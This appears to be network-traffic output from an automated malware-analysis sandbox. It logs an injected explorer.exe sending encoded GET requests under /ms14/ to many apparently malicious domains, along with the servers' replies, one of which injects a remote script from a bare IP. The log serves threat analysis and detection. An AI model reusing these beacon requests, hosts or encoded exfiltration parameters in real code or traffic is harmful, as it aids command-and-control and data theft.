Jul 18, 2023 09:48:01.759716034 CEST	70	IN	Data Raw: cd 80 a9 d1 d5 1d 4c 79 49 09 5a c8 f6 34 59 b4 2a 5d 3c 19 33 c9 b2 ee ba 9e fb 26 ff 1a 24 2f 64 9c 56 5a 08 93 8c c7 56 aa 94 c5 20 55 00 d5 59 45 f7 22 19 94 c5 84 38 38 27 87 b9 4c bb 70 2d 18 c1 73 85 2f 5c bd 9e dc 0a a7 7f 4f 32 1a 31 4d Data Ascii: LyIZ4Y*]<3&$/dVZV UYE"88'Lp-s/\O21MQk:N]?<Q[f{Qj5F[<4)(^M@Y"D.D5RWvSp$R%/@{QpAanCzSONl`BJ!J#92fnE^;yci1V=<h
Jul 18, 2023 09:48:01.759769917 CEST	71	IN	Data Raw: 2a 3b 60 d4 d3 5c 15 cb e8 1d c9 8b 9a 0d c6 c2 71 cd 30 b9 ac b2 bf a8 3a ea a0 36 ae 29 d3 2f 98 91 4f 1b 1d 03 7c 34 c5 98 a8 98 7c 20 fa 43 9a 80 fd 82 29 f8 6e c8 11 a1 d1 e5 b5 d0 3f c7 4b 5b 5d fe 34 8e 2e 98 31 75 5b 3e 40 ba ee 63 7a c5 Data Ascii: *;`\q0:6)/O\|4\| C)n?K[]4.1u[>@cz>MX-l"C+;715pIbmEX<QYexF Ck7<9x=w$/FvM^Dn+[ph{S>Yp(Wr\|V.J
Jul 18, 2023 09:48:01.759824991 CEST	73	IN	Data Raw: 96 d6 b6 81 a0 73 b1 3e f5 b6 f9 59 c6 a0 74 a0 17 8f a2 b9 56 af a2 48 3f 76 38 64 38 f0 1e 5c 56 6e c9 02 e7 93 26 fb 55 ea 58 b3 6c 5d 71 c3 5c fe 77 ee 6d 7d 71 ee 81 73 8f 4a 45 33 5a d0 b7 f9 ff 49 d0 32 75 cd 96 d2 57 27 72 ff 2a 17 f1 ee Data Ascii: s>YtVH?v8d8\Vn&UXl]q\wm}qsJE3ZI2uW'r*_/GNtx#361lon10kLd%vV~t<f_D).=TC64r^:iI3TlU~<#.2'+nr>@eY47f"?9{AhsE[~k
Jul 18, 2023 09:48:01.869729996 CEST	74	IN	Data Raw: 9c 84 bd b5 fb ff 45 99 f5 0c 85 8c e4 96 e1 55 5f 0a 51 f4 3a e3 1a 72 36 b2 fa f8 5a a3 0f 5a 38 28 68 e9 bb b6 8c 6e 90 d2 79 1e 54 77 e7 fc 01 e1 89 57 f0 39 85 79 a8 ae 7f b3 f9 da 72 cc 8e c7 49 34 1e b3 e5 93 4b 99 fd b8 a9 28 d0 69 4f ff Data Ascii: EU_Q:r6ZZ8(hnyTwW9yrI4K(iO>@ckE;^5'}F6eLt03y6pv3wVM)PG/T[V:CSL)>bO<[{}vei"[u)&#}r^XFM]t'b!+tW-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	50107	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:49:07.365667105 CEST	268	OUT	GET /ms14/?QJB0xT=7pJIIbtCMy+ecPp8pgyiBZjmVH3xwtCfzKzpB8i7ILiJr4SH9k6ng2HuTeqTpN16/Xyy&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.4213z0.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:49:07.771420002 CEST	268	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 18 Jul 2023 07:49:07 GMT Content-Type: text/html Content-Length: 291 ETag: "64b05e9c-123" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	50117	104.208.72.135	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:52:54.412966967 CEST	294	OUT	GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=guECCXqLjKMlTgXYmWlTNZtjq1eNGXNQ/IdW5sYhHpF3w1JDH28dgIACtLNueUjQEvWN HTTP/1.1 Host: www.v3rqa4.cfd Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	50118	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:53:12.769099951 CEST	295	OUT	GET /ms14/?QJB0xT=HLFfgtSIv2BFOuqEXXmjMsOgX5uXR5t8szQFcDcueEkA15zyo77SlbLbtLZStBcBunAe&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.windyhillcnc.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:53:12.891028881 CEST	295	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 18 Jul 2023 07:53:12 GMT Content-Type: text/html Content-Length: 291 ETag: "64b05e3f-123" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	50124	74.208.236.75	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:54:34.975193977 CEST	335	OUT	GET /ms14/?QJB0xT=OQWpPi6uI3UGBYQJZSbMJqnqSY5RWfuSjay0cT6R5KncvGzSjOF/jghVxSWpT7vNO9hf&1bo=C0GXuXghTTwLYH3P HTTP/1.1 Host: www.wecanshipit.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:54:35.111217022 CEST	336	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Tue, 18 Jul 2023 07:54:35 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	50125	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:54:55.383279085 CEST	337	OUT	GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=61ESqerRCvuT4VGqBSm67J6rRXzHoZWImFNiyKjsxOo7CEi29JlSDgSUvZ82cb9D0UFy HTTP/1.1 Host: www.porterhayranch.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:54:55.504645109 CEST	337	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 18 Jul 2023 07:54:55 GMT Content-Type: text/html Content-Length: 291 ETag: "64b05e66-123" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	50126	162.0.236.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:55:16.002152920 CEST	339	OUT	GET /ms14/?QJB0xT=ExO+mlRW1o/NYIiPH+dEMyGuDqrixouKzp4y+1w6c7Z43bD4dH58n5BRPsGlc5F6RPX6&1bo=C0GXuXghTTwLYH3P HTTP/1.1 Host: www.clasmiv.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:55:16.239186049 CEST	339	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Jul 2023 07:55:16 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 277 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 63 6c 61 73 6d 69 76 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.clasmiv.xyz Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	50127	38.60.124.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:55:37.374053001 CEST	340	OUT	GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej HTTP/1.1 Host: www.tissageparis.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:55:37.541192055 CEST	341	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 18 Jul 2023 07:55:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 39 31 0d 0a 3f 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 66 69 6c 65 5f 67 65 74 5f 63 6f 6e 74 65 6e 74 73 28 2e 2f 74 69 74 6c 65 2e 74 78 74 29 3a 20 66 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 73 74 72 65 61 6d 3a 20 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 76 69 76 69 2e 63 6f 6d 2f 72 75 6e 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 32 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 39 61 33 66 32 39 66 30 39 62 30 66 35 32 61 31 33 64 65 65 33 64 62 64 31 37 38 65 30 33 61 33 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 76 69 65 77 70 6f 72 74 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 Data Ascii: 491?<br /><b>Warning</b>: file_get_contents(./title.txt): failed to open stream: No such file or directory in <b>/www/wwwroot/vivi.com/run.php</b> on line <b>26</b><br /><!DOCTYPE html><html><head><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?9a3f29f09b0f52a13dee3dbd178e03a3"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script><meta charset="utf-8"><meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"><title></title><script type='text/javascript' src='http
Jul 18, 2023 09:55:37.541265965 CEST	342	IN	Data Raw: 3a 2f 2f 33 38 2e 36 30 2e 31 32 35 2e 36 33 3a 38 31 2f 6a 73 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d Data Ascii: ://38.60.125.63:81/js.js'></script></head><body><h1></h1></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	50108	104.17.157.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:49:28.323362112 CEST	269	OUT	GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=0MCVt3ro+Y2fULC7mglHTnfgc1Mr+oeAYZcaZJUD5Vdcg90q3P52QZV9uqsVct+gY69j HTTP/1.1 Host: www.lasik-de-de-8808230.zone Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:49:28.335659027 CEST	270	IN	HTTP/1.1 409 Conflict Date: Tue, 18 Jul 2023 07:49:28 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 16 Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 7e8920d40dd72c4e-FRA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 30 31 Data Ascii: error code: 1001

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	50109	185.238.87.6	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:50:08.850217104 CEST	271	OUT	GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx HTTP/1.1 Host: www.lilith-con.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:50:08.889589071 CEST	272	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 18 Jul 2023 07:50:08 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.lilith-con.com/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	50110	107.148.29.94	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:50:30.147768974 CEST	273	OUT	GET /ms14/?QJB0xT=lEjG/k1PkI4zOJF8oXanKdsdehVTXLpE1fkbJc1gJRmE6X0hy4jq+etMznheHQbAVKud&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.1cdpwp.cfd Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:50:30.310607910 CEST	273	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 18 Jul 2023 07:50:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	50111	150.95.255.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:50:51.189558029 CEST	274	OUT	GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=ZV58cyt7lud3nw6eSnCnw3hvj6dUBdrYkOi4GK43GwnmJSRRdDKHOou2s3Asj9CH0dO3 HTTP/1.1 Host: www.qwevqgjw.cfd Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
